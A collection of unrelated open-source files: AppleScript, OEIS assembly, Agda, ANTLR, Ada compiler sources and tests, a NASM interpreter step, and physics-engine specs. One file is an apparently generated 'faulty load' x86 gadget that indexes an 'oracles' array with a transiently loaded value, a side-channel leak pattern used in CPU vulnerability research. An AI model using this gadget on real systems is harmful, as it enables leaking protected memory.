# Get the width and height of the screen.
# These references are left just to show how we got to the frame
#
# set mousePosition to current application's NSEvent's mouseLocation()
# set allScreens to current application's NSScreen's screens()
# set currentScreen to current application's NSScreen's mainScreen()
set currentFrame to current application's NSScreen's mainScreen's visibleFrame() # returns {{0, 0}, {width, height}}, minus the dock if on-screen
set screenWidth to item 1 of item 2 of currentFrame
set screenHeight to item 2 of item 2 of currentFrame
# Do not let the window width and height exceed the screen size.
set windowWidth to min(windowWidth, screenWidth)
set windowHeight to min(windowHeight, screenHeight)
if windowWidth is equal to 0 and windowHeight is equal to 0 then
display dialog ¬
"SizeupPlus: cannot parse width and height from script name: " & originValueString & ". Please follow the script naming instructions."
return
end if
# Calculate the origin based on the script file name.
set xOffset to 0
set yOffset to 0
set offsetSet to false
# The origin could be entered as two numbers (with trailing - and x) so try that first
try
set xOffset to (text 1 thru -2 of horizontal) as integer
set yOffset to (text 1 thru -2 of vertical) as integer
set offsetSet to true
end try
# If the origin is not numeric then check the values
if not offsetSet then
if vertical is equal to "Top" then
set yOffset to 0
else if vertical is equal to "Middle" then
set yOffset to (screenHeight / 2) - (windowHeight / 2)
else if vertical is equal to "Bottom" then
set yOffset to (screenHeight - windowHeight)
else if vertical is equal to "Origin" then
set yOffset to -1
else
display dialog ¬
"SizeupPlus: cannot parse vertical from script name: " & originValueString & ". Please follow the script naming instructions."
return
end if
if horizontal is equal to "Left" then
set xOffset to 0
else if horizontal is equal to "Center" then
set xOffset to (screenWidth / 2) - (windowWidth / 2)
else if horizontal is equal to "Right" then
set xOffset to (screenWidth - windowWidth)
else if horizontal is equal to "" then
set xOffset to -1
else
display dialog ¬
"SizeupPlus: cannot parse horizontal from script name: " & originValueString & ". Please follow the script naming instructions."
return
end if
end if
# We have to reactivate the application that was active when we entered,
# then we can tell SizeUp to set the window size.
tell application frontAppName
activate
if yOffset is equal to -1 then
tell application "SizeUp" to resize to {windowWidth, windowHeight}
else
tell application "SizeUp" to move and resize to {xOffset, yOffset, windowWidth, windowHeight}
end if
end tell
else
display dialog "SizeupPlus: cannot parse script name: " & originValueString & ". Please follow the script naming instructions."
end if
on error the errorMessage number the errorNumber
# Catch any other error messages; normally we don't want to reveal internal workings to the user so
# simply tell them something happened.
#
# display dialog "SizeupPlus: error " & errorNumber & " : " & errorMessage
display dialog "SizeupPlus: internal error."
end try
end main
main() |
programs/oeis/090/A090381.asm | karttu/loda | 1 | 160905 | ; A090381: Expansion of (1+4x+7x^2)/((1-x)^2*(1-x^2)).
; 1,6,19,36,61,90,127,168,217,270,331,396,469,546,631,720,817,918,1027,1140,1261,1386,1519,1656,1801,1950,2107,2268,2437,2610,2791,2976,3169,3366,3571,3780,3997,4218,4447,4680,4921,5166,5419,5676,5941,6210,6487,6768,7057,7350,7651,7956,8269,8586,8911,9240,9577,9918,10267,10620,10981,11346,11719,12096,12481,12870,13267,13668,14077,14490,14911,15336,15769,16206,16651,17100,17557,18018,18487,18960,19441,19926,20419,20916,21421,21930,22447,22968,23497,24030,24571,25116,25669,26226,26791,27360,27937,28518,29107,29700,30301,30906,31519,32136,32761,33390,34027,34668,35317,35970,36631,37296,37969,38646,39331,40020,40717,41418,42127,42840,43561,44286,45019,45756,46501,47250,48007,48768,49537,50310,51091,51876,52669,53466,54271,55080,55897,56718,57547,58380,59221,60066,60919,61776,62641,63510,64387,65268,66157,67050,67951,68856,69769,70686,71611,72540,73477,74418,75367,76320,77281,78246,79219,80196,81181,82170,83167,84168,85177,86190,87211,88236,89269,90306,91351,92400,93457,94518,95587,96660,97741,98826,99919,101016,102121,103230,104347,105468,106597,107730,108871,110016,111169,112326,113491,114660,115837,117018,118207,119400,120601,121806,123019,124236,125461,126690,127927,129168,130417,131670,132931,134196,135469,136746,138031,139320,140617,141918,143227,144540,145861,147186,148519,149856,151201,152550,153907,155268,156637,158010,159391,160776,162169,163566,164971,166380,167797,169218,170647,172080,173521,174966,176419,177876,179341,180810,182287,183768,185257,186750
mov $4,$0
mod $0,2
pow $1,$0
mov $2,$4
mul $2,3
add $1,$2
mov $3,$4
mul $3,$4
mov $2,$3
mul $2,3
add $1,$2
|
Categories/Dual/Definition.agda | Smaug123/agdaproofs | 4 | 11181 | {-# OPTIONS --warning=error --safe --without-K #-}
open import LogicalFormulae
open import Categories.Definition
module Categories.Dual.Definition where
dual : {a b : _} → Category {a} {b} → Category {a} {b}
dual record { objects = objects ; arrows = arrows ; id = id ; _∘_ = _∘_ ; rightId = rightId ; leftId = leftId ; compositionAssociative = associative } = record { objects = objects ; arrows = λ i j → arrows j i ; id = id ; _∘_ = λ {x y z} g f → f ∘ g ; rightId = λ {x y} f → leftId f ; leftId = λ {x y} f → rightId f ; compositionAssociative = λ {x y z w} f g h → equalityCommutative (associative h g f) }
|
kraken-expression-language/src/main/antlr4/kraken/el/Kel.g4 | eisgroup/kraken-rules | 10 | 4238 | parser grammar Kel;
import Value;
options {tokenVocab=Common;}
expression : value? EOF;
|
llvm-gcc-4.2-2.9/gcc/ada/fname.adb | vidkidz/crossbridge | 1 | 1561 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- F N A M E --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2004, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Alloc;
with Hostparm; use Hostparm;
with Namet; use Namet;
with Table;
package body Fname is
-----------------------------
-- Dummy Table Definitions --
-----------------------------
-- The following table was used in old versions of the compiler. We retain
-- the declarations here for compatibility with old tree files. The new
-- version of the compiler does not use this table, and will write out a
-- dummy empty table for Tree_Write.
type SFN_Entry is record
U : Unit_Name_Type;
F : File_Name_Type;
end record;
package SFN_Table is new Table.Table (
Table_Component_Type => SFN_Entry,
Table_Index_Type => Int,
Table_Low_Bound => 0,
Table_Initial => Alloc.SFN_Table_Initial,
Table_Increment => Alloc.SFN_Table_Increment,
Table_Name => "Fname_Dummy_Table");
---------------------------
-- Is_Internal_File_Name --
---------------------------
function Is_Internal_File_Name
(Fname : File_Name_Type;
Renamings_Included : Boolean := True) return Boolean
is
begin
if Is_Predefined_File_Name (Fname, Renamings_Included) then
return True;
-- Once Is_Predefined_File_Name has been called and returns False,
-- Name_Buffer contains Fname and Name_Len is set to 8.
elsif Name_Buffer (1 .. 2) = "g-"
or else Name_Buffer (1 .. 8) = "gnat "
then
return True;
elsif OpenVMS
and then
(Name_Buffer (1 .. 4) = "dec-"
or else Name_Buffer (1 .. 8) = "dec ")
then
return True;
else
return False;
end if;
end Is_Internal_File_Name;
-----------------------------
-- Is_Predefined_File_Name --
-----------------------------
-- This should really be a test of unit name, given the possibility of
-- pragma Source_File_Name setting arbitrary file names for any files???
-- Once Is_Predefined_File_Name has been called and returns False,
-- Name_Buffer contains Fname and Name_Len is set to 8. This is used
-- only by Is_Internal_File_Name, and is not part of the official
-- external interface of this function.
function Is_Predefined_File_Name
(Fname : File_Name_Type;
Renamings_Included : Boolean := True) return Boolean
is
begin
Get_Name_String (Fname);
return Is_Predefined_File_Name (Renamings_Included);
end Is_Predefined_File_Name;
function Is_Predefined_File_Name
(Renamings_Included : Boolean := True) return Boolean
is
subtype Str8 is String (1 .. 8);
Predef_Names : constant array (1 .. 11) of Str8 :=
("ada ", -- Ada
"calendar", -- Calendar
"interfac", -- Interfaces
"system ", -- System
"machcode", -- Machine_Code
"unchconv", -- Unchecked_Conversion
"unchdeal", -- Unchecked_Deallocation
-- Remaining entries are only considered if Renamings_Included true
"directio", -- Direct_IO
"ioexcept", -- IO_Exceptions
"sequenio", -- Sequential_IO
"text_io "); -- Text_IO
Num_Entries : constant Natural :=
7 + 4 * Boolean'Pos (Renamings_Included);
begin
-- Remove extension (if present)
if Name_Len > 4 and then Name_Buffer (Name_Len - 3) = '.' then
Name_Len := Name_Len - 4;
end if;
-- Definitely false if longer than 12 characters (8.3)
if Name_Len > 8 then
return False;
-- Definitely predefined if prefix is a- i- or s- followed by letter
elsif Name_Len >= 3
and then Name_Buffer (2) = '-'
and then (Name_Buffer (1) = 'a'
or else
Name_Buffer (1) = 'i'
or else
Name_Buffer (1) = 's')
and then (Name_Buffer (3) in 'a' .. 'z'
or else
Name_Buffer (3) in 'A' .. 'Z')
then
return True;
end if;
-- Otherwise check against special list, first padding to 8 characters
while Name_Len < 8 loop
Name_Len := Name_Len + 1;
Name_Buffer (Name_Len) := ' ';
end loop;
for J in 1 .. Num_Entries loop
if Name_Buffer (1 .. 8) = Predef_Names (J) then
return True;
end if;
end loop;
-- Note: when we return False here, the Name_Buffer contains the
-- padded file name. This is not defined for clients of the package,
-- but is used by Is_Internal_File_Name.
return False;
end Is_Predefined_File_Name;
---------------
-- Tree_Read --
---------------
procedure Tree_Read is
begin
SFN_Table.Tree_Read;
end Tree_Read;
----------------
-- Tree_Write --
----------------
procedure Tree_Write is
begin
SFN_Table.Tree_Write;
end Tree_Write;
end Fname;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd1c03b.ada | best08618/asylo | 7 | 3212 | <gh_stars>1-10
-- CD1C03B.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT THE SIZE OF A DERIVED TYPE IS INHERITED FROM THE
-- PARENT IF THE SIZE OF THE PARENT WAS DETERMINED BY A PRAGMA
-- PACK.
-- HISTORY:
-- JET 09/16/87 CREATED ORIGINAL TEST.
-- PWB 03/27/89 MODIFIED COMPARISON OF OBJECT SIZE TO PARENT SIZE.
WITH REPORT; USE REPORT;
PROCEDURE CD1C03B IS
TYPE ENUM IS (E1, E2, E3);
TYPE NORMAL_TYPE IS ARRAY (1 .. 100) OF ENUM;
TYPE PARENT_TYPE IS ARRAY (1 .. 100) OF ENUM;
PRAGMA PACK (PARENT_TYPE);
TYPE DERIVED_TYPE IS NEW PARENT_TYPE;
X : DERIVED_TYPE := (OTHERS => ENUM'FIRST);
BEGIN
TEST("CD1C03B", "CHECK THAT THE SIZE OF A DERIVED TYPE IS " &
"INHERITED FROM THE PARENT IF THE SIZE OF " &
"THE PARENT WAS DETERMINED BY A PRAGMA PACK");
IF PARENT_TYPE'SIZE = IDENT_INT (NORMAL_TYPE'SIZE) THEN
COMMENT ("PRAGMA PACK HAD NO EFFECT ON THE SIZE OF " &
"PARENT_TYPE, WHICH IS" &
INTEGER'IMAGE(PARENT_TYPE'SIZE));
ELSIF PARENT_TYPE'SIZE > IDENT_INT (NORMAL_TYPE'SIZE) THEN
FAILED ("PARENT_TYPE'SIZE SHOULD NOT BE GREATER THAN" &
INTEGER'IMAGE(NORMAL_TYPE'SIZE) &
". ACTUAL SIZE IS" &
INTEGER'IMAGE(PARENT_TYPE'SIZE));
END IF;
IF DERIVED_TYPE'SIZE > IDENT_INT (PARENT_TYPE'SIZE) THEN
FAILED ("DERIVED_TYPE'SIZE SHOULD NOT BE GREATER THAN" &
INTEGER'IMAGE(PARENT_TYPE'SIZE) &
". ACTUAL SIZE IS" &
INTEGER'IMAGE(DERIVED_TYPE'SIZE));
END IF;
IF X'SIZE < DERIVED_TYPE'SIZE THEN
FAILED ("OBJECT SIZE TOO LARGE. FIRST VALUE IS " &
ENUM'IMAGE ( X(1) ) );
END IF;
RESULT;
END CD1C03B;
|
data/github.com/kanaka/mal/609fc44f44a61638f5d1ec1bcf60d4701a3a212a/nasm/step1_read_print.asm | ajnavarro/language-dataset | 9 | 160273 | <reponame>ajnavarro/language-dataset
;;
;; nasm -felf64 step1_read_print.asm && ld step1_read_print.o && ./a.out
;; Calling convention: Address of input is in RSI
;; Address of return value is in RAX
;;
global _start
%include "types.asm" ; Data types, memory
%include "system.asm" ; System calls
%include "reader.asm" ; String -> Data structures
%include "printer.asm" ; Data structures -> String
%include "exceptions.asm" ; Error handling
section .data
;; ------------------------------------------
;; Fixed strings for printing
static prompt_string, db 10,"user> " ; The string to print at the prompt
section .text
;; Takes a string as input and processes it into a form
read:
jmp read_str ; In reader.asm
;; ----------------------------------------------
;; Evaluates a form
;;
;; Inputs: RSI Form to evaluate
;;
eval:
mov rax, rsi ; Return the input
ret
;; Prints the result
print:
mov rdi, 1 ; print readably
jmp pr_str
;; Read-Eval-Print in sequence
rep_seq:
; -------------
; Read
call read
push rax ; Save form
; -------------
; Eval
mov rsi, rax ; Output of read into input of eval
call eval
; -------------
; Print
mov rsi, rax ; Output of eval into input of print
call print ; String in RAX
mov r8, rax ; Save output
pop rsi ; Form returned by read
call release_object
mov rax, r8
ret
_start:
; -----------------------------
; Main loop
.mainLoop:
; print the prompt
print_str_mac prompt_string
call read_line
; Check if we have a zero-length string
cmp DWORD [rax+Array.length], 0
je .mainLoopEnd
push rax ; Save address of the string
mov rsi, rax
call rep_seq ; Read-Eval-Print
push rax ; Save returned string
mov rsi, rax ; Put into input of print_string
call print_string
; Release string from rep_seq
pop rsi
call release_array
; Release the input string
pop rsi
call release_array
jmp .mainLoop
.mainLoopEnd:
jmp quit
|
test/interaction/Issue1325.agda | shlevy/agda | 1,989 | 685 | <filename>test/interaction/Issue1325.agda
-- Reported by stevan.andjelkovic, 2014-10-23
-- Case splitting on n in the goal g produces the wrong output, it
-- seems like {n} in f is the problem...
data ℕ : Set where
zero : ℕ
suc : ℕ → ℕ
f : {_ : ℕ} → Set₁
f {n} = Set
where
g : ℕ → Set
g n = {!n!}
|
source/nodes/program-nodes-task_body_declarations.ads | reznikmm/gela | 0 | 25923 | <gh_stars>0
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.Defining_Identifiers;
with Program.Elements.Aspect_Specifications;
with Program.Element_Vectors;
with Program.Elements.Exception_Handlers;
with Program.Elements.Identifiers;
with Program.Elements.Task_Body_Declarations;
with Program.Element_Visitors;
package Program.Nodes.Task_Body_Declarations is
pragma Preelaborate;
type Task_Body_Declaration is
new Program.Nodes.Node
and Program.Elements.Task_Body_Declarations.Task_Body_Declaration
and Program.Elements.Task_Body_Declarations.Task_Body_Declaration_Text
with private;
function Create
(Task_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Body_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Name : not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access;
With_Token : Program.Lexical_Elements.Lexical_Element_Access;
Aspects : Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
Is_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Declarations : Program.Element_Vectors.Element_Vector_Access;
Begin_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Statements : not null Program.Element_Vectors
.Element_Vector_Access;
Exception_Token : Program.Lexical_Elements.Lexical_Element_Access;
Exception_Handlers : Program.Elements.Exception_Handlers
.Exception_Handler_Vector_Access;
End_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
End_Name : Program.Elements.Identifiers.Identifier_Access;
Semicolon_Token : not null Program.Lexical_Elements
.Lexical_Element_Access)
return Task_Body_Declaration;
type Implicit_Task_Body_Declaration is
new Program.Nodes.Node
and Program.Elements.Task_Body_Declarations.Task_Body_Declaration
with private;
function Create
(Name : not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access;
Aspects : Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
Declarations : Program.Element_Vectors.Element_Vector_Access;
Statements : not null Program.Element_Vectors
.Element_Vector_Access;
Exception_Handlers : Program.Elements.Exception_Handlers
.Exception_Handler_Vector_Access;
End_Name : Program.Elements.Identifiers.Identifier_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Task_Body_Declaration
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Task_Body_Declaration is
abstract new Program.Nodes.Node
and Program.Elements.Task_Body_Declarations.Task_Body_Declaration
with record
Name : not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access;
Aspects : Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
Declarations : Program.Element_Vectors.Element_Vector_Access;
Statements : not null Program.Element_Vectors
.Element_Vector_Access;
Exception_Handlers : Program.Elements.Exception_Handlers
.Exception_Handler_Vector_Access;
End_Name : Program.Elements.Identifiers.Identifier_Access;
end record;
procedure Initialize (Self : in out Base_Task_Body_Declaration'Class);
overriding procedure Visit
(Self : not null access Base_Task_Body_Declaration;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Name
(Self : Base_Task_Body_Declaration)
return not null Program.Elements.Defining_Identifiers
.Defining_Identifier_Access;
overriding function Aspects
(Self : Base_Task_Body_Declaration)
return Program.Elements.Aspect_Specifications
.Aspect_Specification_Vector_Access;
overriding function Declarations
(Self : Base_Task_Body_Declaration)
return Program.Element_Vectors.Element_Vector_Access;
overriding function Statements
(Self : Base_Task_Body_Declaration)
return not null Program.Element_Vectors.Element_Vector_Access;
overriding function Exception_Handlers
(Self : Base_Task_Body_Declaration)
return Program.Elements.Exception_Handlers
.Exception_Handler_Vector_Access;
overriding function End_Name
(Self : Base_Task_Body_Declaration)
return Program.Elements.Identifiers.Identifier_Access;
overriding function Is_Task_Body_Declaration
(Self : Base_Task_Body_Declaration)
return Boolean;
overriding function Is_Declaration
(Self : Base_Task_Body_Declaration)
return Boolean;
type Task_Body_Declaration is
new Base_Task_Body_Declaration
and Program.Elements.Task_Body_Declarations.Task_Body_Declaration_Text
with record
Task_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Body_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
With_Token : Program.Lexical_Elements.Lexical_Element_Access;
Is_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Begin_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Exception_Token : Program.Lexical_Elements.Lexical_Element_Access;
End_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Semicolon_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
end record;
overriding function To_Task_Body_Declaration_Text
(Self : in out Task_Body_Declaration)
return Program.Elements.Task_Body_Declarations
.Task_Body_Declaration_Text_Access;
overriding function Task_Token
(Self : Task_Body_Declaration)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Body_Token
(Self : Task_Body_Declaration)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function With_Token
(Self : Task_Body_Declaration)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Is_Token
(Self : Task_Body_Declaration)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Begin_Token
(Self : Task_Body_Declaration)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Exception_Token
(Self : Task_Body_Declaration)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function End_Token
(Self : Task_Body_Declaration)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Semicolon_Token
(Self : Task_Body_Declaration)
return not null Program.Lexical_Elements.Lexical_Element_Access;
type Implicit_Task_Body_Declaration is
new Base_Task_Body_Declaration
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_Task_Body_Declaration_Text
(Self : in out Implicit_Task_Body_Declaration)
return Program.Elements.Task_Body_Declarations
.Task_Body_Declaration_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Task_Body_Declaration)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Task_Body_Declaration)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Task_Body_Declaration)
return Boolean;
end Program.Nodes.Task_Body_Declarations;
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_2685.asm | ljhsiun2/medusa | 9 | 10086 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_2685.asm
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r8
push %rax
push %rdx
push %rsi
// Load
lea addresses_UC+0xb28c, %r15
nop
nop
nop
inc %r8
mov (%r15), %edx
nop
nop
nop
nop
nop
sub $64536, %r13
// Store
lea addresses_UC+0x3e6a, %rax
nop
cmp $25381, %rsi
movl $0x51525354, (%rax)
cmp $23272, %r14
// Load
mov $0x5dd0940000000d7c, %r8
add $53536, %rdx
mov (%r8), %r13
nop
nop
nop
nop
cmp $25279, %rdx
// Faulty Load
mov $0x6ea815000000018c, %r14
nop
cmp %r8, %r8
mov (%r14), %ax
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rsi
pop %rdx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
eBindings/uuid/tests/gnatcoll-uuid-test_main.adb | persan/zeromq-Ada | 33 | 12923 | <gh_stars>10-100
with AUnit;
--------------------
-- Uuid.Test_Main --
--------------------
with AUnit.Reporter.Text;
with AUnit.Run;
with GNATCOLL.uuid.Suite;
procedure GNATCOLL.uuid.Test_Main is
procedure Run is new AUnit.Run.Test_Runner (GNATCOLL.uuid.Suite.Suite);
reporter : AUnit.Reporter.Text.Text_Reporter;
begin
Run (reporter);
end GNATCOLL.uuid.Test_Main;
|
3-mid/impact/source/3d/collision/shapes/impact-d3-shape-concave-height_field_terrain.ads | charlie5/lace | 20 | 7115 | with impact.d3.Shape.concave;
with impact.d3.triangle_Callback;
package impact.d3.Shape.concave.height_field_terrain
--
-- Simulates a 2D heightfield terrain.
--
-- The caller is responsible for maintaining the heightfield array; this
-- class does not make a copy.
--
-- The heightfield can be dynamic so long as the min/max height values
-- capture the extremes (heights must always be in that range).
--
-- The local origin of the heightfield is assumed to be the exact
-- center (as determined by width and length and height, with each
-- axis multiplied by the localScaling).
--
-- \b NOTE: be careful with coordinates. If you have a heightfield with a local
-- min height of -100m, and a max height of +500m, you may be tempted to place it
-- at the origin (0,0) and expect the heights in world coordinates to be
-- -100 to +500 meters.
-- Actually, the heights will be -300 to +300m, because bullet will re-center
-- the heightfield based on its AABB (which is determined by the min/max
-- heights). So keep in mind that once you create a impact.d3.Shape.concave.height_field_terrain
-- object, the heights will be adjusted relative to the center of the AABB. This
-- is different to the behavior of many rendering engines, but is useful for
-- physics engines.
--
-- Most (but not all) rendering and heightfield libraries assume upAxis = 1
-- (that is, the y-axis is "up"). This class allows any of the 3 coordinates
-- to be "up". Make sure your choice of axis is consistent with your rendering
-- system.
--
-- The heightfield heights are determined from the data type used for the
-- heightfieldData array.
--
-- - PHY_UCHAR: height at a point is the uchar value at the
-- grid point, multipled by heightScale. uchar isn't recommended
-- because of its inability to deal with negative values, and
-- low resolution (8-bit).
--
-- - PHY_SHORT: height at a point is the short int value at that grid
-- point, multipled by heightScale.
--
-- - PHY_FLOAT: height at a point is the float value at that grid
-- point. heightScale is ignored when using the float heightfield
-- data type.
--
-- Whatever the caller specifies as minHeight and maxHeight will be honored.
